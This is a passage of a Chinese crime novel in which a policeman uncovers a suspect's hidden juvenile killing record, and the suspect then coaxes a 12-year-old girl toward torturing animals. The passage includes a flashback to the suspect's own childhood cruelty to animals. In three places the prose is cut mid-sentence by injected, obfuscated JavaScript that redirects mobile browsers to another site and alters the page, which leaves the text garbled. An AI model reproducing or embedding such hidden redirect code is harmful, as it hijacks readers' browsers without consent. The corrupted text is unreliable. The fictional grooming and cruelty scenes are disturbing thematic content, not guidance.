左边是案情综述与移交单,右边是取证清单、走访笔录。桌头摞着两年未结案的卷宗,边角泛白,牛皮纸皮筋勒出深痕。斜压着一张泛黄的案情示意图,图钉把路线钉得密密麻麻,几张热敏传真纸已经褪色。 戚迪把盒子一字排开,从最早的开始翻:通联、照片、勘验、笔录——一件件像从水底捞起。他用便签把可疑名字标出来,又在页角写时间轴。 便签越贴越多,荧光色在纸海里显得突兀,时间线被他写满又划掉,缠成细密的结。 从下午翻到天色暗,他合上最后一册,桌面留下一堆被翻得起皱的页角和零散的便签。他把笔放下,抬眼看向墙上的地图——线索依旧断在纸面。仅靠卷宗,他离这些案子仍旧太远。 真正有价值的东西,一定在现场,在涉案人员的一举一动中。 他的眼前再一次浮现出掉在地上的红外探测器。 不止是红外探测器。 他闭上眼,那个画面更加清晰地显现在脑海之中。正面朝上的红外探测器外盒,以及围绕在它四周,神色各异的六个人。 何阿婆的神情是困惑,对于一个没有受过什么教育的老年妇女,“红外探测器”几个字,不足以表明它的作用。 其他人呢? 何阿公,有一个极细微的吸气动作。徐朝颜,嘴角下撇,下意识后退了一步——她在害怕,怕什么?何朵,没没有异色就是最大的异色——是不关心电子产品,还是她恰好知道那是什么? 六个人,少的那个是最重要的人。 徐朝颜的贴身衣物被偷,何家人围着蔡岛嘉发难,何序作为徐朝颜的丈夫,为什么会不在现场? 他是什么时候消失的?去了哪里?做了什么? 那些当时被忽略的细枝末节,此刻接连在脑中归位。 戚迪睁眼,已有决断。他把桌上的卷宗收妥,送回档案处。 那栋自建楼,才是离他最近的案子。 他要拨开笼罩其外的迷雾,赌它究竟只是又一桩鸡毛蒜皮的民事纠纷,还是通往唯一希望的刑事大案。 戚迪回到办公桌前,站在那张江都市地图前,很快就锁定了离八里村最近的电脑城。他对梁芸留下一句“我巡逻去了,有事对讲机叫我”,独自走出了派出所大门。 开着巡逻车,他来到电脑城,却发现这里被城建围栏拦了起来,他绕着电脑城开了一圈,锁定了三家仍在营业的电子产品商铺。 第一家,并没有销售监控和反监控设备。第二家,有红外探测器售卖,但7月21日当天,却没有销售记录。 第三家,老板抬头看了他一眼,眼神在他的警服上一哆嗦,原本弯弯扭扭的站姿立即直了,正在打的电话也不打了,露着讨好的笑,小心翼翼问道:“警官您好,您这是……” 戚迪公事公办地出示了自己的证件,开门见山道:“7月21日,你卖出过红外探测器吗?” “昨天?”老板说,“昨天我是卖了一个。我的货都是正经货啊,警官。我是正规经销商——” “你还记得那人的长相特征吗?”戚迪打断他的废话。 见矛头不是自己,老板松了一口气,话篓子立即打开了:“哎哟,记得,怎么不记得。我印象可深了!” 戚迪的眼神变得锐利:“为什么?” “他一来就拿了张照片给我看,是那种高档电脑的照片,他说是他朋友的,想配个类似的,问我大概要花多少钱。这我哪儿看得出来,值钱的都是配件,在主机里呢——我就告诉他,你配了也没用,人家就不是打游戏用的。他那张照片上,光外接屏就有四个,谁拿这东西打游戏?一般只有搞监控的才这么搞。” 老板竹筒倒豆子一般,一口气说道: “他听说可能是搞监控的,脸色一下子就变了,问我能不能确定。我就教他怎么判断……就是看背后的接线,但他那样子,好像看不了。那时我就觉得怪怪的,既然是朋友的电脑,那不是想看就能看的吗?我就试着推销了一下红外探测器,没想到,一下子就推出去了!” “四个外接屏?”戚迪皱眉,一下子想起了派出所的监控室,那里的屏幕更多,监控范围涵盖整个大院和建筑内部。 “是啊,画面切割小一点,能监控一栋办公楼了。”老板凑近柜台,满脸神秘地问道,“警官,是不是这个人有什么问题?还是他朋友有什么问题?他真被监控了吗?” “不该问的别问。”戚迪说,“描述一下这个人的外貌特征。” “哦……我想想。挺平凡的,说丑不丑,说帅不帅,跟我差不多高——我穿鞋有177,警官,他应该也差不多。”老板双手一拍,激动地补充道,“我想起来了,他的眼尾是下垂的,看上去有点猥琐,又有点可怜巴巴的,反正一看就是个没本事的。” 就是蔡岛嘉。 戚迪面上不动声色,说:“我知道了,给个你的联系方式。如果后续还需要了解更多,还请你配合我们的调查。” “当然,当然——”老板连忙从桌子旁拿了张泛黄的名片给他。 戚迪收下名片,转身离开了商铺。 他回到巡逻车上,系上安全带,却没有马上出发。 所以,蔡岛嘉买红外探测器,是因为他怀疑自己被自建楼中的某个人监控。怀疑受到监控,却在警察面前一字不发——在戚迪十多年的警察生涯中,只有一种人会出现这种情况。 那就是心里有鬼的人。 他返回熙熙攘攘的派出所,穿过两个因为感情纠纷大打出手的中年夫妻,一个当街斗殴的地痞流氓,在嘈杂的人声中坐回自己的办公桌,打开了那台半新的台式机。 他的心跳很快,血液在皮肤下加速涌动,那是猛兽在行动前的肾上腺素在作用。 登录进内部系统后,戚迪立即输入了蔡岛嘉的名字。 全国同名的一共有二十三个,他点开了居住地为江都市的那一个。 页面一闪,条目依次亮起,像从暗处抽出的卡片: “行政处罚记录:无。” “拘留记录:无。” “治安案件记录:无。” 一个标准的良民。干净得像一块白板。 唯一算得上线索的,只有户籍迁移处的短短一句:“1996年随父母迁出江都;2000年迁回江都。” 按出生年算,蔡岛嘉这时才十六岁。正是备战高考的时候,很少有父母会选择在这个时期搬家更换环境。是父母工作变动?他又搜索了蔡岛嘉户籍信息上的父母名字:姜胜,蔡娟。 这两人也是干净的白板,没有任何犯罪记录。 他父亲姓姜,他却姓蔡。又是家中唯一的男丁。即便放眼全国,这样的例子也不常见。 戚迪的直觉告诉他,这片看似澄净的水面下,一定有浑浊到无法见人的东西。 他看不到,不是因为没有,而是权限不够。 戚迪犹豫半晌,起身走向梁芸,故意靠在她的桌边,用吊儿郎当的语气说道:“梁芸,你在市局有朋友吗?最好是刑侦队的。我想查点资料,但权限不够。” 梁芸抬起眼皮,平静地看他:“你自己的朋友呢?” “早就当处长科长去了——我才不想看他们的臭脸。”戚迪面皮挂不住,“这忙你到底帮不帮?” “急吗?” 戚迪马上说:“急,急得很。越快越好。” “……我问问。”梁芸拿起手机,走向派出所外。 “谢谢啊!谢谢!我就知道你跟他们不一样,回头我请你吃面!”戚迪的眼睛亮了起来,兴奋 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16727999|189544||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地对着梁芸的背影喊道。 梁芸白了他一眼,推门走出派出所。 他紧张地看着梁芸在玻璃门外打那通电话,不知讲了什么,有十几分钟,他的心就像被沉在水中,起起伏伏。终于,梁芸挂断电话走了回来。 “明天上午,你去刑侦队找一个叫王景的。” 戚迪激动地要给她一个熊抱,被后者一肘子抵远:“滚,别恩将仇报。”梁芸冷脸说道。 第二天一早,戚迪用卡里最后的一点钱多付了半天的看护费,将母亲提前交接给护工,马不停蹄地赶往市局。 市局的大门像一面沉重的牌匾落在地上,花岗岩台阶平整宽阔,门柱粗得需要两人合抱,岗亭擦得一尘不染。金色字牌高悬,国徽在顶,红底稳稳压住气场。两侧旗杆笔直,地面画线齐整,进出车辆按道缓行,连转弯的角度都像被校准过。 而他熟悉的八里村派出所在市局面前,就像营养不良的孩子,铁栅门推开会“嘎吱”一声,门前永远斜停着两三辆旧电瓶车,门楣上的蓝色灯箱有一处缺口,晚间总有蚊虫围着灯光打转。 这是两个不同的世界。 他只有进入这个新的世界,才有为母亲续命的可能。 戚迪以前跑过很多次市局办事,也不是第一次路过刑侦大队门口,但以前他都是怀着一种酸溜溜的心态加快脚步,今天是第一次迈进门槛。 “你好,我想找王景。”他拦下一名过路的年轻警员。 在对方的指引下,他来到一间办公室门外,深吸了一口气,然后敲响了房门。 “请进。”一个沉稳的声音从门后响起。 戚迪开门走入,门后并不大,但却很整洁。一个看上去刚刚三十出头的男人正在书柜门前整理文件。戚迪确认了他就是王景后,道出了自己的来意。 “我想请你帮我查一个叫蔡岛嘉的人。” 梁芸应该和他打好了招呼,王景并没有多问。他坐到电脑前,登录了刑警大队的内部系统,输入了“蔡岛嘉”三个字。 更详细的资料跳了出来。 一张蔡岛嘉的身份证照片,他依旧是那副窝囊的表情,眼尾下垂着,像吊着石头。在蔡岛嘉三个字后面,还有一个小括号,里面写着“曾用名:姜必成”。 在人员经历一栏,则有几行让戚迪后背一寒的小字: “收容/教养记录。类别:收容教养(少年管教)。案由:故意杀人〔被害人:4月龄女婴〕。” “决定机关:江都市公安局(收教决定)。” “决定机关:江都市公安局。执行机构:江都市少管所。时长:三年(1993—1996)。” “备注:处置已执行完毕。” 1993年,蔡岛嘉——姜必成才十三岁,按法律规定,未满十四岁的少年犯不负刑事责任,因为不立刑事案件、不中判,所以也不会形成刑事犯罪记录,只会保留相关的调查材料。 所以他杀了人,但在社会履历上,仍是干净的白板。 就在戚迪准备让王景退出这一页资料时,他的目光被角落的“历史卷宗关键词关联”吸引了目光。 “那是什么?能看一下吗?”他问。 王景没说话,移动鼠标在其上点了一下。 新的页面很快刷新出来。 “案卡编号:JD-2006-贪-049。” “关联人:蔡岛嘉(男,1980年生,曾用名:姜必成)。” “关联关系:R03(一般关系人),田永司机/私人事务协助(2000.11.21–2006.11.20)。” “处置结论:未发现参与贪腐(排查结论日期 2006.12.18)。” 戚迪的全身血液都向大脑涌去。 迷雾越来越浓,但他看见了希望的方向。 19. 第 19 章 7月23日晚,蔡岛嘉在自建楼的晚餐桌上埋头吃饭,希望能在不引起任何人注意的情况下退场,然而,事与愿违,从他买红外探测器被发现后,何阿婆的冷嘲热讽就没停过。 “哎呀,城里人就是有钱,舍得花几大百去买那小玩意。我得卖多少纸壳,才能攒得了那么多钱哦。”何阿婆握着筷子,嘴角的弧度像一只浮出水面的鱼钩,闪着嗜血的冷光,“所以噻,那个高科技让你发现了什么没有?” “……没发现什么,我就是买着玩。”蔡岛嘉讪讪道,不敢抬头。 “哦,没发现什么,我还以为发现了不少噻。不知道的,还以为咱这自建楼,是什么机密单位,需要反监控了。”何阿婆把掉下额头的粉色发卷重新推高到头顶,眉头夹得死苍蝇,“你要是这么注重隐私,住啥自建楼啊,住别墅啊。” 蔡岛嘉干笑着,不敢发怒。 “秀英,你少说两句,有防备之心是没错的。人家小蔡独自一人在外,总要小心一点。”何阿公放下筷子。 “防备什么?他是未出阁的闺女还是家财万贯的地主?”何阿婆声音小了,嘀嘀咕咕地说,“没那个命有那个病——” 何阿公抱歉地对蔡岛嘉笑道:“你阿婆就是这个性子,几十年了也改不了。你多担待一点。” “没事,没事……”蔡岛嘉说。 “你们三楼厕所,搞得怎么样了?什么时候能完工?”何阿婆又问。 “今晚加班加点一下,就能封墙了。”蔡岛嘉答。 “封什么肠?你在三楼晒了香肠?”何阿婆说。 “别弄太晚啊,我们要休息的。”徐朝颜从饭碗里抬起头来,立即说道,“最多十点,十点后朵朵要休息了。” “我可以多看会电视。”朵朵说。 “不可以——”徐朝颜瞪了她一眼,后者吐了吐舌头。 好不容易熬到晚餐结束,蔡岛嘉正要上楼回房,何阿婆把他叫住,先把一袋厨余垃圾塞到他手里,然后才说:“扔门口去——记得是大门口啊。” 蔡岛嘉想说“我是你的租客不是你的佣人”,但对上何阿婆那双秃鹫似的老而尖锐的眼睛,他都来不及拒绝,身体就自顾自地接下了垃圾袋,转身往大门口走去。 等他找到那笔钱——他第一万次咬牙切齿地想道。 蔡岛嘉走出入户大门,粗壮的槐树像倒扣的伞把院子收紧,远处的楼一层压一层,灯火像稀薄的鳞片,围成一口巨大的井,把破旧的城中村按在井底。 他趿拉着拖鞋,提着黑色垃圾袋,心不在焉地推开铁门走出,一个意料之外的访客站在铁门对面的路灯下,蔡岛嘉的双脚下意识就想缩回铁门。 身穿制服的戚迪转过身来,手上拿着刚铲下的小广告,看见蔡岛嘉,点了点头示意。 蔡岛嘉无意和警察过多交谈,尴尬地笑了一下,提着垃圾袋走向前方的垃圾站。 在他身后,响起了另一个脚步声。 “吃过饭了?”戚迪问。 ……他想干什么?问这个做什么?蔡岛嘉脑子飞速运转,不动声色地干笑了一下:“刚吃过,出来丢垃圾。” 用三面水泥简单围起来的垃圾站里堆满了各种垃圾,还没走近就已经闻到了发酵的臭气,蔡岛嘉停在垃圾站不远处,将垃圾袋远远抛进水泥围墙内,袋子里的垃圾倾泻而出,新的污浊覆盖了旧的。 “我在巡逻,看见这些小广告,顺手铲一下。”戚迪把手中那张“男科圣手”的小广告揉成一团,用一个投篮的动作抛进了几乎快涌出来的垃圾站,“有时候真羡慕你们啊,至少还有时间吃饭。” “戚警官一心为民,所以八里村的大家才住得这么舒坦。”蔡岛嘉敷衍地说道,脚步往自建楼走,“我们下次再聊,何阿婆还等着我回话,我先回去了……” “我只是个管治安的小民警,什么一心为民,你说得我浑身痒痒。”戚迪重新跟上他的脚步,“不过,你这官腔打得还是有模有样的,怪不得能在领导身边当差那么多年。” 蔡岛嘉的脚步猛地刹停,他用了几秒钟的时间才控制好自己的表情——戚迪一直停在他的身后,像一条蛰伏在草丛里的蛇,安静,耐心。他转过身,用僵硬的笑脸对上戚迪一如寻常的面孔。 “……什么领导?” “田永啊。我最近才知道,八里村还出了个人才,原来你以前是给田永开车的。”戚迪伸手摸进裤兜,一个习惯性的动作,停顿了一下,然后摸出一枚薄荷糖,递给蔡岛嘉,“来一颗?” “不了,”蔡岛嘉努力维持着脸上那副困惑的表情,“戚警官怎么知道我以前给田永开车?” “我们派出所偶尔也会帮一些兄弟机构提供信息——最近经侦的事情比较多。”戚迪咧嘴一笑,把薄荷糖放进嘴里,咔哧咔哧地嚼碎了,“我偶然看到田永的案子,才知道你以前给他当过司机。” 蔡岛嘉眼神闪躲:“……是当过几年司机,不过都是过去的事情了,他出事后,我们就没联系过了。” “你紧张什么?我又没讯问你,这案子都结了,再大的事儿都翻篇了,更别说,犯事的人是你领导,又不是你。”戚迪说,“我这不是一辈子跑基层,没见过大案要案,一下来瘾了吗?” 蔡岛嘉感觉喉咙里像被502黏过,只能一个劲地讪笑。 “那我……先回去了?”他试探着问。 后者挥了挥手:“回吧,以后有机会,咱们可以去小摊上整两杯。” 他狼狈地逃回自建楼,头也不回地冲上三楼,躲进自己的安全屋。薄得透光的廉价窗帘刷一下拉上,隔绝了外面的光线和可能的窥探,蔡岛嘉瘫倒在地上,后背靠着坚硬的床板,脑子里乱成一团麻。 戚迪一定是发现什么,对他起了疑心。 是田永那边又吐露了什么吗?不——不可能,他查过,田永的受贿金额刚好卡在生命线上,再进一步,那就不是有期徒刑,而是死刑或者死缓了——田永不可能自寻死路。 “偶然看到”? 对蔡岛嘉而言,这世间有三种东西,看到就要打起十二分精神:一是未成年人,二是承诺,三是偶然。 无论如何,他的时间已经所剩无几了。 他必须尽快找到被调包的赃款,然后远走高飞,彻底离开江都。 当天晚上,他加班加点把三楼厕所里的墙壁重新砌好,第二天一早,又把床板下的半袋美钞放进行李箱,提着行李箱下了楼。 二楼静静悄悄,何序一家还没起床,一楼已经热闹非凡,何阿公坐在沙发上填报纸上的数独,何阿婆和她的老年团在院子里跳广场舞。蔡岛嘉提着行李箱路过客厅的时候,何阿公推了推鼻梁上的老花镜,脸上露出一抹惊讶: “咦,小蔡,你要出门旅游吗?” “不是,我带一些换洗衣服回家。”蔡岛嘉笑着说。 何阿公点了点头,继续低头去填数独。 蔡岛嘉趁何阿婆在院子里扭来扭去没空管他,迅速把行李箱放进了出租车的后备箱里。 他在心里下定决心,就算把江都市,甚至临近城市的银行都跑一遍,也要尽快把这些烫手的美钞兑换成可使用的人民币。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16728000|189544||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>蔡岛嘉开车来到附近的工商银行,揣着四张美钞进入干净敞亮的营业大厅。一枚圆形的时钟挂在雪白的墙上,时针刚走过九点,蓝色的塑料排椅上大多是头发花白,来取退休金的老年人,每当机器叫到他们的号码,就有一个老人从衣服里掏出一块用旧布包裹的存折,颤颤巍巍走向柜台。 蔡岛嘉在自助机上取了号,在角落里坐下,心烦意乱地等待叫号。 等着办业务的人很多,但柜台后的营业员只有三个,客户们来了又去,防弹玻璃背后的柜员始终头也不抬,机械化地接待着一个又一个客户,她们漠然麻木的表情,好像并非活生生的人,而是从玻璃墙和电脑长出来的一部分。 他掏出手机,不知道做什么,又给放了回去。百无聊赖的眼神在光可鉴人的地板和排号显示屏上打转。 开到最低的冷气呼呼吹着,他摸了摸露在短袖外的手臂,一层鸡皮疙瘩。他用指甲轻轻扣着,眼神落在前面几排一个啼哭不止的小孩脸上。孩子母亲抱着孩子又是轻拍摇晃又是叠字哄劝,他看在眼里,既不觉得孩子可爱,也不觉得母亲伟大。 他只觉得吵。 既然要哭,不如在水下哭,在火上哭,在小刀刺进血肉里转圈的时候哭。 “请038,到三号柜台办理业务。” 叫号器忽然叫出了他的号码,蔡岛嘉的思绪被打断,从孩子脸上状若平常地移开目光——他站了起来,走向三号柜台。 大厅中央的电子广告屏刚好播完上一段广告,陷入短暂的黑屏。蔡岛嘉无意识地瞥了一眼,黑色的屏幕上倒映着一片等待的人群,其中一个身影瞬间拉响了他脑中的警报。 戚迪。 他弯腰驼背地坐在一群老头之中,穿着便装,手里拿着手机,仿佛随处可见的一个来取钱的普通男人,但那双锐利的眼睛却没有落在手机屏幕上,而是注视着走向柜台的蔡岛嘉。 血液的流动声在一瞬间压过了心跳的擂鼓,蔡岛嘉继续往前走去,眼神在那一瞥后再没看向电子屏幕。 操。 操,操,操。 他想逃,想转身就冲出门外,想做任何一只老鼠看见猫之后应该做的事,但他必须冷静下来,必须装作什么都没发现,按照原定计划走向柜台。 他在黑色椅子上坐了下来,仿佛坐到了针毡上。 “办什么业务?”柜员抬眼扫了他一眼,公事公办道。 “……我想查一下余额。”他扯出一个笑容,从裤兜里摸出银行卡,小心地把那四张美钞往裤兜深处塞了塞。 柜员从沟槽里拿出银行卡,几下操作后,说:“还有一千一百六十五元,要取吗?” “不取……不,取五百吧。” 又过了一会,柜员将五张百元大钞放进沟槽,蔡岛嘉用冰冷的手指捏住钞票和卡,看也不看地揣进了另一边的裤兜。 他低头起身,快步走出营业大厅,就像他来这里一趟,本就是为了取五百元生活费似的。 玻璃大门外日头高照,闷热的空气瞬间裹满了每一个毛孔,蔡岛嘉却像是坠入了冰窖,连指尖都浸着寒意。 大厅内,戚迪径直走到正在办理下一个业务的三号柜台前,朝玻璃内部出示了一下自己的证件:“刚刚那个人办了什么业务?” 柜员愣了愣,如实回答:“查询银行卡余额,然后取了五百元钱。” 戚迪皱起眉头,收起证件。他本想继续跟踪蔡岛嘉,却在路过巨大屏幕的时候慢慢停下了脚步。 漆黑的电子屏上,映出他的面孔,以及他刚刚藏身的那片区域。 20. 第 20 章 操、操、操—— 蔡岛嘉接连数拳砸到方向盘上,爆发一串尖锐的鸣笛。 他的失控被街道上潮鸣一样的喇叭声吞没,红色的车灯汇成波涛汹涌的海流,而他被裹挟其中,不敢进,不能退。 一步之差,就是万丈深渊。 后视镜中,蔡岛嘉的额侧青筋浮起,一双略微浮肿的眼眸中燃着被逼入绝境的火光,这火越烧越盛,连眼眶周围的皮肤都被灼伤变红。 挂在后视镜下方的那只毛线老鼠,依然咧着森白的牙齿在微笑,似乎也在嘲笑他的狼狈。他猛地将其扯下,用力砸向前窗玻璃,毛线老鼠弹了几下,一路滚到了副驾地垫。 蔡岛嘉像一只与猫狭路相逢后死里逃生的水沟老鼠,出门前的雄心壮志忘得一干二净,甚至不敢观察戚迪是否还在跟踪,开着那辆老旧的黄色出租车,灰溜溜地回到了八里村。 车头拐进巷口,自建楼的灰墙露出一角。他踩下刹车减速,透过车窗看见朵朵独自一人在槐树下蹲着,用树枝拨弄着水坑里的一片树叶。他心不在焉地瞥了一眼,把车尾慢慢往里倒,停在自建楼墙边。 “小蔡哥哥,这是你的吗?” 他下车关门时,朵朵从裤兜里摸出一个什么东西,朝他举了起来。 “什么东西?” “小票。”朵朵站了起来,右手保持伸出的姿势,“奶奶洗衣服的时候,从洗衣机里发现的。她让我告诉你,下次洗衣物前要检查口袋,如果把下水堵了就让你拿手去掏。” 何阿婆的威胁用朵朵的童真嗓音说出,莫名有种诡异的感觉。蔡岛嘉接过那张小票,发现是之前去高档餐厅吃饭的收据,他随手揣进兜里就忘记这回事了。 四位数的餐标对于一个出租车司机来说,无疑引人耳目。 他想也不想就撕掉了小票,将碎屑捏在一起攥在手心。 “这是客人落在车上的收据,没人来找,我都忘了这回事了。”他干巴巴地说。 朵朵若有所思地望着他攥着碎屑的那只手。 宽广的树冠像一张细筛,把日光分成碎雪。那些微小的亮点落在朵朵身上:黄T上的卡通被切成明暗两面,浅蓝色的五分牛仔裤在膝头下亮出两条瘦而有力的小腿。 蔡岛嘉把手背到身后,故意将话题转向地上的水坑:“朵朵,你刚刚在水坑里玩什么呢?” “我在玩蚂蚁呢。”朵朵重新蹲了下来,用树枝扒拉着水坑里的那片绿叶。 直到这时他才看清,那片成为孤岛的翠绿叶片上,有着两只被囚困的蚂蚁。 一股困惑,紧接着恍然而略带惊喜的情绪,像电流那般蹿过他的身体。 蔡岛嘉在水坑边蹲了下来,强压着声音里的兴奋:“你是怎么玩的?” “就这样玩呗。”朵朵百无聊赖地说,树枝随意地戳着水坑里的叶片。 水流很快漫过叶片,在人类眼中轻轻一脚就可跨过的雨后水坑,对蚂蚁这类微末生物而言,却如末日洪流。其中一只蚂蚁在水流中无助地漂浮起来,用力划拉着细瘦的六条腿,却无处凭依。而另一只虽然奋力游回了叶片,但紧接着又被无情的树枝戳进了水中。 蔡岛嘉不禁再次看向朵朵。 十二岁的女孩,用一种专心致志的眼神,平静地看着两只蚂蚁在水中活活淹死。 “你……”蔡岛嘉开口后才发觉自己的喉咙发干,像是在沙漠里迷路了一个月的旅人,“你这样‘玩’多久了?你父母知道吗?” “知道啊。”朵朵不以为意地说,“他们说我很无聊。” “是啊……在蚂蚁身上玩这个,有什么意思?它们又不会叫,不会喊。”蔡岛嘉说,“你试过其他动物吗?” “没有。”朵朵放下树枝,抬眼看他,“其他动物是什么?” “比如说,你的那只老鼠。” 蔡岛嘉压低声音,下意识地看了眼自建楼的入户大门,敞开通风的防盗门内空无一人,电视正在大音量的播放广告。 “它是你的,你想怎么‘玩’就怎么‘玩’。没人管得了你。”他用蛊惑般的语气说道。 “那不行,我妈妈会骂死我,爸爸也会生气。”朵朵缩了下肩膀,垂下眼,用树枝把已经死去的两只蚂蚁戳上岸。即使靠上了岸,那两只黑芝麻一般的玩意依然一动不动。 当然,因为它们已经死了。 死亡就是这样。 对死者而言,死亡是戛然而止。而对另一些人而言,这只是一个开始。 “谁让你老实和他们说了?你可以说,它得病死了。没人能发现。”蔡岛嘉说。 朵朵并没有露出反感的表情,也没有产生过激的反应,这给了蔡岛嘉继续说下去的勇气。 “用水玩通常都看不出来,用火和刀子会难一些。不过,总能有办法掩饰。而且,大人们不会真的和你计较一个畜生的死活,对他们来说,无论是蚂蚁、老鼠、还是猫狗,都是一样的畜生。只要不让他们赔钱和丢脸,他们都会睁一只眼闭一只眼。” “你玩过?”朵朵看着他。 “什么?” “你玩过猫狗?” 蔡岛嘉没有明确回答,他的目光落在水坑边的那两粒黑色上,说:“只要开始了,蚂蚁、宠物鼠、还是流浪猫狗,都是一样的。” “什么一样?” 蔡岛嘉想了好一会,才找到一个精准的词表达他内心最深处的想法。 “罪孽。”他说完,顿了顿,嘴角浮出一抹鄙夷的笑,“如果真的有这东西的话。” “你的意思是——”朵朵露出思索的神色,“玩蚂蚁和玩猫玩狗——甚至玩人,都是一样的?” 蔡岛嘉勾起嘴角:“那我问你,你看着这两只蚂蚁溺死的时候,你心里有什么感觉?” 朵朵微微皱眉,然后看向那两粒黑点,似乎头一回思考这个问题。 “能有什么感觉?我每天走路,都要踩死好多只蚂蚁。” “但那是无意的,现在是有意的。”蔡岛嘉不依不饶地追问,“你愧疚吗?” 朵朵笑了起来:“对蚂蚁愧疚?好好笑哦。” “这就对了。”蔡岛嘉也笑了起来,他的笑是狡黠,又暗含得意的,仿佛自己正在道出的,是什么了不起的人生真理,“你玩蚂蚁的时候,你不愧疚。我玩别的东西的时候,也不愧疚。蚂蚁和其他东西有什么区别,你和我又有什么区别?” “‘玩’就是‘玩’,不会因为你‘玩’什么,而改变过程和结果。”他说。 蔡岛嘉想起了自己的第一个玩具。 1988年的夜像一层潮气粘在墙皮上,白炽灯把屋顶照得发黄。那一天是姜必成的八岁生日,家里的餐桌不大,塑料的花桌布被洗得发脆,红烧肉的香味压住了屋里淡淡的霉与水腥。一个方方正正的东西蒙着红布放在桌上,他以为是城里小孩过生吃的那种甜腻腻的生日蛋糕,满怀期待地揭开红布后,却发现是一个细铁丝拧成的铁笼,笼子里,是一只雪白的小兔子。 不算鱼塘里养殖的鱼,他们家从未养过宠物。所以那一刻,获得小兔子的喜悦压倒了没有收到蛋糕的失落,他跳了起来,兴奋地把笼子抱在怀里,隔着铁丝网用手指头去摸。 小兔子皮毛松软,温暖柔顺,比他摸过的最好的布料都要好。 他把这只兔子取名为“贝贝”。 一开始,他每天都花心思到处去采摘贝贝的口粮,有蒲公英,有普通野草,也有妈妈做菜剩下的素厨余。他兴致勃勃地看着贝贝咔嚓咔嚓地嚼着他送进笼子的食物,再化成一颗颗宛如巧克力豆的东西排泄出来。 一个月,还是半个月? 他准备食物越来越敷衍,往往是门口扯一把 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16728001|189544||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 杂草就塞进笼子里。贝贝的笼子也不再定时清洁,总是草草地用鱼塘的水浸一浸笼子底,让水流带走兔子的排泄物。 有一天,他在洗笼子的时候,无意间让水流多没过了笼子一点,那只一板一眼,吃了睡睡了吃的兔子,第一次表现出他从未见过的慌乱。 他下意识屏住了呼吸,像是偶然间误入矿山的掘金客,眨也不眨地盯着兔子,而提着笼子的右手缓缓下降,再下降。 水流渐渐没过笼底,再打湿兔子柔软的白毛,最后没过了那双红色的眼睛—— 兔子激烈的挣扎让他如梦初醒,他急忙提起笼子和笼子里湿漉漉的贝贝,慌慌张张地回到了家。 “你的兔子怎么了?”正在门口择菜的蔡娟看见他手中的兔子,随口问道。 “我、我洗笼子的时候不小心掉下去了。”他结结巴巴地说。 “哦,小心一点。”蔡娟又低下头去。 那是第一次。 那时候还能说是“无意”的。 但后来,笼子“无意间”落水的次数越来越多。他听到了父母在卧室门后的低声交谈。 “……男孩皮点好,胆子大,以后顶天立地的。大了就好了,不用和他说什么。”姜胜的声音带着一天的疲惫,他散漫又不以为意的声音,表明他对这个话题的兴趣不及今天的鱼苗价格。 “我们儿子可惜没生在古代,不然去从军,说不定能当个大将军。”蔡娟说。 姜必成也认为自己和普通人不一样,他应该有不一样的人生。 从小到大,爸爸妈妈一直说他聪明,脑子灵活,长得帅气,可是自从升上小学后,一切都变了。老师讲的东西越来越难,他的班级名次越来越后,而同学们似乎浑然不觉跟上课堂进度困难。 而且,除了父母再也没有人说他是个小帅哥,甚至连夸他可爱的人,也不再有了。 难道他不聪明吗?难道他不有趣吗?难道他长得平凡无奇,甚至令人厌恶吗? 不,那不可能。 因为妈妈总是说“我的儿子,你太棒了”,“你真是太聪明了!”,而爸爸,也总是在酒后宠溺地看着他,说“你这家伙,鬼主意真多”、“你的头脑是完全够用的,只要把心思用在读书上,一定就能名列前茅”。 那么,到底是哪里出了问题,谁说了谎? 答案显而易见。 他受到了生活,或者命运的偏见。一定是因为他是个养鱼佬的孩子,所以才会受到不公正的对待。 半年后,他亲手肢解了自己的第一只玩具。 “生病死了。”他这样回答父母关于贝贝的行踪。没有人追问,没有人深究,大家守护着同一个秘密。 毕竟—— “只是一只兔子罢了。” “只是一只猫罢了。” “只是一个人罢了。” 罪孽是相同的,只有受害者惨死前最后一声哀鸣的音量大小不同而已。 在那之后,他没有再养过宠物,但“玩具”却越来越多:跌落巢穴的小麻雀、无主的流浪猫、有主的小狗,他用弹珠枪打它们,用小刀给它们破腹,最后像扔一袋烂水果那样,随意扔在垃圾堆里。 “……你想不想试试?”蔡岛嘉说,朝围墙上方一抬下巴。 朵朵朝他示意的方向看去,一只橘黄色的瘦骨嶙峋的野猫,站在围墙上,尾巴高高竖起,警惕地看着他们。 厨房里忽然响起碗瓢碰撞声。朵朵没回头,仍盯着猫。 半晌后,她忽然偏头: “要怎么做?” 